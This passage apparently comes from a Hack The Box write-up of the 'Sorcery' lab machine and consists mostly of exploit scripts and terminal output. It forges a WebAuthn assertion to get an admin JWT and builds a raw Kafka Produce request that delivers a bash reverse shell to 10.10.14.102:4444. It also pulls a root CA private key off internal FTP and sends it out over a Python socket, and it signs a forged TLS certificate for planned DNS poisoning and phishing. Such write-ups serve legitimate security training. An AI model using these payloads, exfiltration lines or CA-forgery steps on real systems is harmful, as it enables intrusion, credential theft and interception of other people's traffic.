auth_data = rp_id_hash + flags + counter # 37 bytes
client_data_json = json.dumps({
"type": "webauthn.get",
"challenge": challenge_b64u,
"origin": "https://sorcery.htb",
"crossOrigin": False
}, separators=(',', ':')).encode()
to_sign = auth_data + hashlib.sha256(client_data_json).digest()
signature = ec.derive_private_key(PRIV_D, ec.SECP256R1(), default_backend()) \
.sign(to_sign, ec.ECDSA(hashes.SHA256()))
credential = {
"id": CRED_ID,
"rawId": CRED_ID,
"type": "public-key",
"clientExtensionResults": {},
"response": {
"authenticatorData": b64u(auth_data),
"clientDataJSON": b64u(client_data_json),
"signature": b64u(signature),
}
}
print("\n[*] Trying finishAuthentication action IDs...")
token = None
for action_id in all_ids:
if action_id == START_ID:
continue
r2 = action_post(session, action_id, ["admin", credential])
lines2 = parse_rsc(r2.text)
token = find_token(lines2)
print(f" [{action_id[:8]}] status={r2.status_code} token={'YES' if token else r2.text[:80]}")
if token:
break
if token:
print(f"\n[+] Admin JWT (privilege_level=2, with_passkey=true):\n{token}")
else:
print("\n[-] Authentication failed — check action ID or credential")
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ python3 auth_passkey.py
[*] Found 4 action IDs: ['1efff30d879f3aea7d899128311edf11046f4a10', '7abc1d84ff816e8d6965b2132e8011685a8c9917', '5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f', 'd900d949d741f46bf73ff5e57728f0f2c88cfd5a']
[*] Calling startAuthentication (1efff30d...)
[start] status=200
[*] Challenge: YKoumxHWG_pV4xkDdv0P_3ogBAEIoY_UfEIr8G2ayG8
[*] Trying finishAuthentication action IDs...
[7abc1d84] status=200 token=0:["$@1",["eMXTkHuLPViqV0QpNTSCV",null]]
1:{"error":{"error":"422 Unprocessable
[5aa9f80b] status=200 token=YES
[+] Admin JWT (privilege_level=2, with_passkey=true):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzU3NTYwfQ.bf-gJeRyjYyV0KbU57kwXl66q2faLx3_BHR5kpv6s6A
We verified the token by accessing /dashboard/debug — an admin-only endpoint. It worked. We had a full, unrestricted admin JWT.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ curl -sk https://sorcery.htb/dashboard/debug -H "Rsc: 1" -b "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzU3NTYwfQ.bf-gJeRyjYyV0KbU57kwXl66q2faLx3_BHR5kpv6s6A"
3:I[9275,[],""]
4:I[1343,[],""]
6:I[3365,["310","static/chunks/0e5ce63c-3111fb0608b1162f.js","967","static/chunks/967-ebf83667b0b78310.js","236","static/chunks/236-32f22b3545922907.js","185","static/chunks/app/layout-cd41b72af35bdfcb.js"],"default"]
7:I[771,["310","static/chunks/0e5ce63c-3111fb0608b1162f.js","967","static/chunks/967-ebf83667b0b78310.js","236","static/chunks/236-32f22b3545922907.js","185","static/chunks/app/layout-cd41b72af35bdfcb.js"],"Toaster"]
0:["eMXTkHuLPViqV0QpNTSCV",[[["",{"children":["dashboard",{"children":["debug",{"children":["__PAGE__",{}]}]}]},"$undefined","$undefined",true],["",{"children":["dashboard",{"children":["debug",{"children":["__PAGE__",{},[["$L1","$L2"],null],null]},["$","$L3",null,{"parallelRouterKey":"children","segmentPath":["children","dashboard","children","debug","children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L4",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined","styles":null}],null]},["$L5",null],null]},[["$","html",null,{"lang":"en","children":["$","body",null,{"className":"min-h-screen bg-background font-sans antialiased __variable_d65c78","children":["$","$L6",null,{"children":[["$","$L3",null,{"parallelRouterKey":"children","segmentPath":["children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L4",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":"404"}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],"notFoundStyles":[],"styles":null}],["$","$L7",null,{}]]}]}]}],null],null],[[["$","link","0",{"rel":"stylesheet","href":"/_next/static/css/bbf23c3485001663.css","precedence":"next","crossOrigin":"$undefined"}]],[null,"$L8"]]]]]
8:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}],["$","meta","1",{"charSet":"utf-8"}],["$","title","2",{"children":"Sorcery"}],["$","link","3",{"rel":"icon","href":"/favicon.ico","type":"image/x-icon","sizes":"16x16"}],["$","meta","4",{"name":"next-size-adjust"}]]
1:null
9:I[1198,["310","static/chunks/0e5ce63c-3111fb0608b1162f.js","967","static/chunks/967-ebf83667b0b78310.js","307","static/chunks/307-c8093133b4b2de77.js","415","static/chunks/415-9caadae4d3d6fddc.js","750","static/chunks/app/dashboard/debug/page-67e937cc46bf8f8a.js"],"default"]
b:I[2877,["310","static/chunks/0e5ce63c-3111fb0608b1162f.js","967","static/chunks/967-ebf83667b0b78310.js","231","static/chunks/231-f7e6000a8dbe3040.js","330","static/chunks/330-bb05a33eda29d9e6.js","663","static/chunks/app/dashboard/layout-0c5731e2040484c0.js"],"default"]
2:["$","$L9",null,{}]
5:["$","div",null,{"className":"flex","children":[["$","div",null,{"className":"w-[300px] h-screen flex flex-col fixed","children":[["$","div",null,{"className":"h-[50px] flex items-center justify-center border-2","children":["admin"," (","Admin",")"]}],["$","div",null,{"className":"flex-1 flex","children":"$La"}]]}],["$","div",null,{"className":"w-[300px]"}],["$","div",null,{"className":"flex-1","children":[["$","div",null,{"className":"h-[50px] flex items-center border-b-2 border-t-2 px-4 w-full fixed bg-background z-10","children":["$","$Lb",null,{}]}],["$","div",null,{"className":"h-[50px]"}],["$","div",null,{"className":"p-2 border-r-2","children":["$","$L3",null,{"parallelRouterKey":"children","segmentPath":["children","dashboard","children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L4",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined","styles":null}]}]]}]]}]
c:I[4980,["310","static/chunks/0e5ce63c-3111fb0608b1162f.js","967","static/chunks/967-ebf83667b0b78310.js","231","static/chunks/231-f7e6000a8dbe3040.js","330","static/chunks/330-bb05a33eda29d9e6.js","663","static/chunks/app/dashboard/layout-0c5731e2040484c0.js"],"default"]
a:["$","$Lc",null,{"tabsTop":[{"href":"/dashboard/store","title":"Store","icon":"Store"},{"href":"/dashboard/new-product","title":"New Product","icon":"SquareDashedKanban","privilege":1},{"href":"/dashboard/dns","title":"DNS","icon":"Globe","privilege":2},{"href":"/dashboard/debug","title":"Debug","icon":"Bug","privilege":2},{"href":"/dashboard/blog","title":"Blog","icon":"Rss","privilege":2}],"tabsBottom":[{"href":"/dashboard/profile","title":"Profile","icon":"UserRoundPen"},{"href":"/auth/logout","title":"Logout","icon":"LogOut"}]}]
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ curl -sk "https://sorcery.htb/_next/static/chunks/app/dashboard/debug/page-67e937cc46bf8f8a.js" | grep -oP '[a-f0-9]{40}' | sort -u
99cc053db6c8902cbccf05efda80ea0306624c56
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ curl -sk https://sorcery.htb/dashboard/debug -H "Next-Action: 99cc053db6c8902cbccf05efda80ea0306624c56" -H "Content-Type: text/plain;charset=UTF-8" -b "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzU3NTYwfQ.bf-gJeRyjYyV0KbU57kwXl66q2faLx3_BHR5kpv6s6A" -d '["127.0.0.1", 8000, [], false, false]'
0:["$@1",["eMXTkHuLPViqV0QpNTSCV",null]]
1:{"result":{"data":null}}
RCE via Kafka wire protocol
Understanding the target
The admin debug endpoint accepts a host, port, and hex-encoded data, then sends it as raw TCP bytes to the specified internal host. Reading the DNS service source (dns/src/main.rs), we saw it runs a Kafka consumer that reads messages from the update topic and passes them directly to bash -c:
let command = str::from_utf8(message.value);
Command::new("bash").arg("-c").arg(command).spawn();
Zero validation. If we can publish an arbitrary message to the update topic on Kafka, we get command execution.
Building the Kafka request
The debug endpoint sends raw TCP bytes, so we need to construct a valid Kafka Produce API v0 request from scratch — there's no simple text protocol. The binary format is:
[int32 total_length]
[int16 api_key=0 (Produce)]
[int16 api_version=0]
[int32 correlation_id]
[int16 client_id=-1 (null)]
[int16 required_acks=1]
[int32 timeout_ms]
[int32 topics_count=1]
[topic: "update"]
[int32 partitions=1]
[int32 partition=0]
[message_set with CRC-32 over magic+attrs+key+value]
[value: "bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'"]
The CRC must be correct or the broker silently drops the message. We wrote a Python script (kafka_rce.py) that constructs this binary payload, hex-encodes it, and sends it via the debug endpoint.
import struct
import binascii
import requests
import json
import urllib3
urllib3.disable_warnings()
TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc1NzU3NTYwfQ.bf-gJeRyjYyV0KbU57kwXl66q2faLx3_BHR5kpv6s6A"
TARGET = "https://sorcery.htb"
DEBUG_ACTION_ID = "99cc053db6c8902cbccf05efda80ea0306624c56"
COMMAND = "bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'"
def kstring(s):
"""Kafka length-prefixed string (int16 + bytes), null = -1."""
if s is None:
return struct.pack('>h', -1)
b = s.encode() if isinstance(s, str) else s
return struct.pack('>h', len(b)) + b
def build_kafka_produce(topic: str, value: bytes) -> bytes:
"""Build a Kafka Produce request (API v0, message format v0)."""
magic = b'\x00'
attributes = b'\x00'
key = struct.pack('>i', -1) # null key
val = struct.pack('>i', len(value)) + value
msg_body = magic + attributes + key + val
crc = struct.pack('>I', binascii.crc32(msg_body) & 0xFFFFFFFF)
message = crc + msg_body
msg_set = struct.pack('>q', 0) # offset
msg_set += struct.pack('>i', len(message)) # message size
msg_set += message
part_data = struct.pack('>i', 0) # partition 0
part_data += struct.pack('>i', len(msg_set)) # message set size
part_data += msg_set
topic_data = kstring(topic)
topic_data += struct.pack('>i', 1) # 1 partition
topic_data += part_data
body = struct.pack('>h', 1) # required_acks = 1
body += struct.pack('>i', 5000) # timeout_ms
body += struct.pack('>i', 1) # 1 topic
body += topic_data
header = struct.pack('>h', 0) # api_key = Produce
header += struct.pack('>h', 0) # api_version = 0
header += struct.pack('>i', 1) # correlation_id
header += kstring(None) # client_id = null
request = header + body
return struct.pack('>i', len(request)) + request # size-prefixed
def send_debug(host, port, hex_data, expect_result=True):
r = requests.post(
f"{TARGET}/dashboard/debug",
headers={
"Next-Action": DEBUG_ACTION_ID,
"Content-Type": "text/plain;charset=UTF-8",
},
cookies={"token": TOKEN},
data=json.dumps([host, port, [hex_data], expect_result, False]),
verify=False,
timeout=30
)
return r
# Build and send
kafka_req = build_kafka_produce("update", COMMAND.encode())
hex_req = kafka_req.hex()
print(f"[*] Command : {COMMAND}")
print(f"[*] Payload : {len(kafka_req)} bytes → {hex_req[:60]}...")
print(f"[*] Sending to kafka:9092 via debug endpoint...")
r = send_debug("kafka", 9092, hex_req, expect_result=True)
print(f"[*] HTTP status : {r.status_code}")
for line in r.text.strip().split('\n'):
colon = line.find(':')
if colon == -1:
continue
try:
parsed = json.loads(line[colon+1:])
if 'result' in parsed:
result = parsed['result']
if result and result.get('data'):
raw = bytes.fromhex(result['data'][0])
print(f"[*] Kafka response ({len(raw)} bytes): {raw.hex()}")
else:
print(f"[*] Result: {result}")
elif 'error' in parsed:
print(f"[-] Error: {parsed['error']}")
except Exception:
pass
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ python3 kafka_rce.py
[*] Command : bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'
[*] Sending to kafka:9092 via debug endpoint...
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.237.242] 36728
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
user@7bfb70ee5b9c:/app$
We landed inside the DNS container. Not the host yet — each service runs in its own Docker container.
Pivoting from the DNS container
Enumerating internal services
From inside the container, we mapped out the Docker network. Services reachable by hostname included backend, frontend, neo4j, kafka, mail, ftp, gitea, and nginx.
user@7bfb70ee5b9c:/$ python3 -c "import socket; svcs=['backend','frontend','neo4j','kafka','mail','ftp','gitea','nginx','redis','db']; [print(s+': '+socket.gethostbyname(s)) if True else None for s in svcs]"
<gethostbyname(s)) if True else None for s in svcs]"
backend: 172.19.0.9
frontend: 172.19.0.5
neo4j: 172.19.0.11
kafka: 172.19.0.6
mail: 172.19.0.4
ftp: 172.19.0.8
gitea: 172.19.0.3
nginx: 172.19.0.10
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "<string>", line 1, in <listcomp>
socket.gaierror: [Errno -3] Temporary failure in name resolution
user@7bfb70ee5b9c:/$
The internal FTP server (172.19.0.8) allowed anonymous login and contained something very interesting in the pub directory:
user@7bfb70ee5b9c:/$ python3 -c "import ftplib; ftp=ftplib.FTP('172.19.0.8'); ftp.login(); print(ftp.getwelcome()); ftp.retrlines('LIST'); ftp.quit()"
<p.getwelcome()); ftp.retrlines('LIST'); ftp.quit()"
220 (vsFTPd 3.0.3)
drwxrwxrwx 2 ftp ftp 4096 Oct 31 2024 pub
user@7bfb70ee5b9c:/$
user@7bfb70ee5b9c:/$ python3 -c "import ftplib; ftp=ftplib.FTP('172.19.0.8'); ftp.login(); ftp.cwd('pub'); ftp.retrlines('LIST'); ftp.quit()"
< ftp.cwd('pub'); ftp.retrlines('LIST'); ftp.quit()"
-rw-r--r-- 1 ftp ftp 1826 Oct 31 2024 RootCA.crt
-rw-r--r-- 1 ftp ftp 3434 Oct 31 2024 RootCA.key
user@7bfb70ee5b9c:/$
We exfiltrated both files. The private key was encrypted, but a quick password guess found password as the passphrase.
user@7bfb70ee5b9c:/$ python3 -c "import ftplib; ftp=ftplib.FTP('172.19.0.8'); ftp.login(); ftp.cwd('pub'); [ftp.retrbinary('RETR '+n, open('/tmp/'+n,'wb').write) for n in ['RootCA.crt','RootCA.key']]; ftp.quit(); print('done')"
<tCA.crt','RootCA.key']]; ftp.quit(); print('done')"
done
user@7bfb70ee5b9c:/$ python3 -c "import socket; s=socket.socket(); s.connect(('10.10.14.102',9001)); s.send(open('/tmp/RootCA.key','rb').read()); s.close()"
<nd(open('/tmp/RootCA.key','rb').read()); s.close()"
user@7bfb70ee5b9c:/$ python3 -c "import socket; s=socket.socket(); s.connect(('10.10.14.102',9001)); s.send(open('/tmp/RootCA.crt','rb').read()); s.close()"
<nd(open('/tmp/RootCA.crt','rb').read()); s.close()"
user@7bfb70ee5b9c:/$
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ nc -lnvp 9001 > RootCA.key
listening on [any] 9001 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.237.242] 38618
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ cat RootCA.key
-----BEGIN ENCRYPTED PRIVATE KEY-----
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
-----END ENCRYPTED PRIVATE KEY-----
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ nc -lnvp 9001 > RootCA.crt
listening on [any] 9001 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.237.242] 49148
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ cat RootCA.crt
-----BEGIN CERTIFICATE-----
MIIFFzCCAv+gAwIBAgIUVZjiESnop+nNu9rkWlbXORjlrc0wDQYJKoZIhvcNAQEL
BQAwGjEYMBYGA1UEAwwPU29yY2VyeSBSb290IENBMCAXDTI0MTAzMTAyMDkwOFoY
DzIyOTgwODE2MDIwOTA4WjAaMRgwFgYDVQQDDA9Tb3JjZXJ5IFJvb3QgQ0EwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCN/ViSM+ZkeuX17l4GF+0GTcfO
0HX98yvnA5+MQ+TvzKuEHUxkmlL/28xwtIzT/ejB0sKcr7T733kiiy2PMsIbywzM
rJrlLBCAekb1hdqXXb0CcNEZrVQGZnU2h9iFBpsexXvh+oUPszrBdxOAITI6HPio
p/IjTfyt1QNtQJTNcB7ernYVb4lH043QAgS6M9CcYXev7pDarynbOZvEe5aS42NY
+MtEg643k4JM1T4NQGKHkGhWO/73OzCero2Rpyz/Wo7fVnpVhrwNdexiStbCUtqQ
qDKaieeigjZtpQKNLC5tC6fWrN3dSWT+diyQ+sQfrVYQQc8oWPbQHAysaGP6KGW+
V51Ai5z0vshG5W36GEHAmP8opvvVzPrS4Y9L6L1rMuIHwsCmTz/koBf8pJJ0sURB
1edux+j+Wzp9B8umONaKMOvG1GejVGW8UAhmVhK3ebr/Vto48J5svgtJO9d/QmZd
XlKsIdvaRUzSHTQfflQ7k1G9AlNdp3PNXW4YrlWlP+b4aSSyet6EyQR1KFmipGu2
ozbgMxYQ0nb4UwkCar3QJ3funYBjTdJtV5fHSUzmTO0BRH2jFi0VaDtIMBpmYQFo
kUJZSA5PW+ujDLoAQQDjMd5M7NJi4dWPdbAL9zCL7I41DUyk2hPuYVocd7SW1pTU
7bER1p5kKYlhwhnAHQIDAQABo1MwUTAdBgNVHQ4EFgQUjkNkC2vZwFux5uHSWfP+
U1HQbMkwHwYDVR0jBBgwFoAUjkNkC2vZwFux5uHSWfP+U1HQbMkwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAZHTimjRmsbRIlq2wIcNXnaFHtdk4
kvXcgHg3G9kPk27QKTYnAFicAmFDJkWdwMdB9eAhyurcvpWvP8Z+WFrQaOAUFZje
kY/CB+1/pouYIxw9IpTanl+hN0Ca4C74fXUfk3am21ntl7S/OomtZDISvaPALr1E
ejE3MiEBDg+V03tWA1fLtSX039rh2trjn5Jgg498jlumTV+62Tg9OoAS1liCPzLA
aps6odiYVnjuqhpfHRHoifIn1enadbLpKb7C58iw/KnuTzsQ8suweWbRsSkBKXQo
b8ozrF/MaxEk3dzakfV+yEsXIhmbDrPa0LGdAARXIPeEIRyl3qk7N4lmJVCt/94K
tyypoNIhqRvKLs+vGQHrGJjKezzm4ygZ0qO9z6QqliYobcRCioxb+Ml3qPGtggws
xrFDATMN5r5TNbTkm1y2apeB5fpaHyQLWZzbm7acZhBMVZ4wI/QPV2o+bwZeKCXH
frakt9Nz8KCzlulUt/C9D0rnFoTDJnG/focvWewuW9bKQqJLmSj6L0/Vvc2a+lWc
7kDfSUCHvTYR1OrwggA1HJ48Eu/NwNERvxXm395B9hCRgsji3jLEaUOgPuq1hrgb
u5GqrPn8BMpsLs92Y/pMUtWbF3DcM8jn+hjL3owallYj2E9Md6mQ5pfI1+PiTvf/
udz+k7mYqIcCjsE=
-----END CERTIFICATE-----
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ openssl rsa -in RootCA.key -out RootCA_plain.key -passin pass:password
Phishing tom_summers via DNS poisoning and TLS MITM
The plan
With the Root CA's private key, we can sign TLS certificates for any *.sorcery.htb domain that the internal services will trust. The DNS container controls /dns/hosts-user, which feeds into dnsmasq. If we add a record pointing git.sorcery.htb to our IP, any internal service resolving that hostname will reach us instead of the real Gitea.
We'll sign a certificate for git.sorcery.htb, stand up a fake Gitea login page, poison the DNS, and send a phishing email to tom_summers via the internal MailHog SMTP server. The mail bot will click the link, trust our CA-signed cert, and submit credentials.
Signing the certificate
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ openssl req -newkey rsa:2048 -nodes -keyout git.key -out git.csr -subj "/CN=git.sorcery.htb"
............+.....+.............+........+....+...+........+...+.+......+...+..+...+....+............+......+...+......+++++++++++++++++++++++++++++++++++++++*.......+.........+++++++++++++++++++++++++++++++++++++++*...+...+..................+...............+......+.+..+.+...........+.+.....+...+..........+.....+....+...+.....+.......+..................+...............+..+............+.+..+.+...........+.....................+.........+...+.+..+.......+.....+.+............+.....+....+......+..+.......+.....+...+......+.......+.....+...+.+......+.....+...+......+..........+...+..+...+......+.+......+...+.........+..+....+...........+.........+....+..+...+...+...+......+.............+...+..+.+......+........+.+..+...+.+...+...+.....+.......+..+.+..+.+...........+....+.....+......+.....................+.......+..+.+.................++++++
.......+...+........+......+.+...+..+...+....+..+...+++++++++++++++++++++++++++++++++++++++*.....+.+.....+............+............+............+.+...+..+.........+......+++++++++++++++++++++++++++++++++++++++*..........+...............................+...+..+......+...+.+...+...+...+..+...+............+.............+......+......+.....+...+.+...+..+.+........+.+........+.+............+.........+......++++++
-----
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ openssl x509 -req -in git.csr -CA RootCA.crt -CAkey RootCA_plain.key -CAcreateserial -out git.crt -days 365 -extfile <(printf "subjectAltName=DNS:git.sorcery.htb")
Certificate request self-signature ok
subject=CN=git.sorcery.htb
Poisoning DNS and sending the phish
From inside the DNS container:
user@7bfb70ee5b9c:/$ echo '' > /dns/hosts-user
